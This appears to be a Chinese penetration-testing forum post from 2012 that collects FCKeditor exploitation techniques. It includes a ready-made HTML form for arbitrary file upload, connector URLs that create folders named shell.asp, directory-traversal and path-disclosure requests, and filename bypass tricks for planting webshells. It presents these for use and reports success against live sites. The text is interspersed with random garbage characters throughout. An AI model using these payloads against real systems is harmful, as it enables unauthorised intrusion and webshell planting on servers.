中国网络渗透测试联盟

标题: Fckeditor漏洞 (2) [打印本页]

作者: admin    时间: 2012-9-13 17:01
标题: Fckeditor漏洞 (2)
Fckeditor漏洞利用总结  & r  {9 ]. o5 C5 ]
查看编辑器版本- @' z" }  ]& k' ^9 }3 s, r* X
FCKeditor/_whatsnew.html
" d. s& U' a$ u* y—————————————————————————————————————————————————————————————& k" K& B' R5 i0 C/ Y% y

( E$ i( _. Y# A7 E2. Version 2.2 版本
( a) m; V+ b& n9 w9 S# EApache+linux 环境下在上传文件后面加个.突破!测试通过。/ H0 x. D; l, x2 s4 \
—————————————————————————————————————————————————————————————7 d& |" n- q" U' _( t2 O$ F

6 D: ~# f% _& i" @! g; `9 F6 k6 r3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。  X6 @  \2 Y& \: R0 g9 ]/ y
<form id="frmUpload" enctype="multipart/form-data"
2 \2 v$ J& k! x% K- g& o1 `action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
0 F% c' }; a9 N/ Y/ L<input type="file" name="NewFile" size="50"><br>5 E8 n% Q2 [$ N& \5 Y6 X4 f8 F9 \
<input id="btnUpload" type="submit" value="Upload">, c8 Y* q# E4 N, n
</form>" h+ q+ S; X7 I( _1 W5 f
—————————————————————————————————————————————————————————————& S7 J/ Y5 z* t+ H/ ^. ?
: m, t, D9 b( ?. k8 m9 A6 f
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法0 a2 @4 W5 t! \2 P
        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。+ a7 i4 ~. P# B
    4.1:提交shell.php+空格绕过" Q9 m/ w9 z5 I3 K$ l
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。; H& y0 K9 H: Z5 I6 i; c
    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
. s2 ^  s2 E, I' e; R& J. m—————————————————————————————————————————————————————————————
5 `- n8 b: N9 f& A) O3 M( X
2 B+ v2 F5 q0 c5. 突破建立文件夹+ g1 }7 Y  J5 R7 f& U
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684- I9 t& q4 d2 T% Y0 S9 N
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
6 c- E: E, S9 W—————————————————————————————————————————————————————————————
; f4 y' J) d9 r& k  i6 c" \
! u- y7 _! e8 o! B6. FCKeditor 中test 文件的上传地址
) u8 Z9 S! J3 q9 i3 @FCKeditor/editor/filemanager/browser/default/connectors/test.html* P. ]/ h# F0 |# H: C
FCKeditor/editor/filemanager/upload/test.html. a- @. G4 a5 \" l
FCKeditor/editor/filemanager/connectors/test.html1 ?; b) [; Q" ?9 b
FCKeditor/editor/filemanager/connectors/uploadtest.html! i5 v' A9 ~. H! v0 A
—————————————————————————————————————————————————————————————: R) U( u  l1 Y) r$ @( f9 V% z- a
8 O4 [  E" H9 t6 Y! M8 T
7.常用上传地址
8 T5 l& b3 U6 a6 T/ n* F( f# {* R9 GFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
$ E, ~+ z* w9 l0 p, vFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp, u3 L( M3 }! W! G( B- K+ s
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)" w6 \/ a, _2 U2 n8 w
JSP 版:& _( @/ S; ^( z% S2 d' g
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
2 }! U/ @: R0 L! I1 M3 X注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文" d/ u  G  a8 U6 A' S+ O  z6 |
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。& ]( E6 N" ]( Z/ @8 j
—————————————————————————————————————————————————————————————1 O4 }+ W0 k( ^

9 F  H8 c7 C- t! w8.其他上传地址
: `) W7 s5 v7 A, XFCKeditor/_samples/default.html
9 e# U5 k5 e0 A1 G' ^/ rFCKeditor/_samples/asp/sample01.asp$ K4 J* D+ @4 ?3 C% a' H
FCKeditor/_samples/asp/sample02.asp, Y% |  D; n( U' }# z
FCKeditor/_samples/asp/sample03.asp0 x- U2 ~4 [2 T
FCKeditor/_samples/asp/sample04.asp
3 h. W8 X: G2 E7 a一般很多站点都已删除_samples 目录,可以试试。3 L' I& |$ W( K/ t' H
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
  c# ?3 S+ U9 h+ Z—————————————————————————————————————————————————————————————
9 n5 l6 B1 H( n, G! L
$ s3 |! }/ i( j, b1 {9.列目录漏洞也可助找上传地址( Q" H1 g6 Q; d1 K/ x! Z
Version 2.4.1 测试通过
$ x+ j+ _- l$ _; x( w修改CurrentFolder 参数使用 ../../来进入不同的目录# a9 J* q& V( B0 J
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp/ N$ k' D& \0 Z6 k( K
根据返回的XML 信息可以查看网站所有的目录。: N" H& m8 Q& O1 ^& h
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F' b0 A8 h- N3 L: D3 p
也可以直接浏览盘符:% m( W4 e& B1 u
JSP 版本:- i5 F- c0 z1 v0 ]. P
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F+ p5 I6 z# _8 I- a' e/ X" p* a
—————————————————————————————————————————————————————————————
- R  E3 r9 f7 x( T7 |3 O
! V8 T0 a1 w7 Z* y! O+ O0 v10.爆路径漏洞
! u# V2 {7 k! ]4 uFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
5 X6 D3 ^. N( |; _) ~6 e* z2 C—————————————————————————————————————————————————————————————
0 N" d  x) Z  D& U9 m8 t7 I, W3 n. n7 `6 L+ c1 P2 i
11. FCKeditor 被动限制策略所导致的过滤不严问题6 |* m! S2 {2 Z" Z  P# u  L& f
        影响版本: FCKeditor x.x <= FCKeditor v2.4.3
% p; E3 S: _* ?. H+ z8 q; D脆弱描述:
4 {* C2 A, ~% S8 rFCKeditor v2.4.3 中File 类别默认拒绝上传类型:& |9 W& k" A  F9 _0 `" g
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
% E4 t. O7 a# ^Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
( Y/ q- ~, c( B! `+ i4 f- P  M: |        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
  \3 Q* E  Q4 L1 x  q! c        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!5 J/ \" x# I4 C8 V) u! `: G
—————————————————————————————————————————————————————————————: r6 X1 n9 I, G" R
  p3 z2 Z2 A; l5 b& _* p
12.最古老的漏洞,Type文件没有限制!
+ T9 S- T  c# P: M/ K6 F* a        我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
9 Z% c9 u  u9 C; g+ }# U—————————————————————————————————————————————————————————————' y" j; B( x+ C9 @

8 W9 \; y" g$ ?' S, O  M===============================================================================================================================================, a% \+ R, u6 t/ k. h1 ]& W
& U* @; F; S( }6 o
FCK编辑器jsp版本漏洞:
1 @+ D" A+ ?5 I" z
8 @+ ]/ B  {. r' X
! B- N3 ^* l6 S& g6 e4 o1 ]http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
& [' N" l6 X. @, \; T6 c. M- l+ d8 A5 }! u/ c: U
上传马所在目录
; i7 U% I! y/ X5 k: `; FFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/: M& d3 S5 e* Z( {7 z( Q
上传shell的地址:6 `$ A! h. m# h# U
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
- a& h: E0 M5 F" h跟版本有关系.并不是百分百成功. 测试成功几个站.
9 J) y& w; u( }0 x不能通杀.很遗憾.
( d) p. ]- j. g: W  zhttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector2 X* Q1 s' G% s* `
如果以上地址不行可以试试6 Z- v8 ^2 d4 p' @
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
0 [  x3 T" v. j7 M: R% _- p- UFCKeditor/_samples/
6 i' W" N" o8 Z# l2 XFCKeditor/_samples/default.html/ {. m/ M. g! d2 @. p
FCKeditor/editor/fckeditor.htm
6 E4 A9 B. C. Z* a* f6 o6 dFCKeditor/editor/fckdialog.html
# {  A! w( ?) x# @( W& G; `0 o( b+ ^
9 I7 `) _9 [, q$ P' t; e( F: v4 S/ C
/ k8 I5 F, g. _! D
解析漏洞+未重命名文件时上传漏洞  1.asp;jpg6 u) z+ X0 W3 k) j. v. l) O) F" X4 u





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2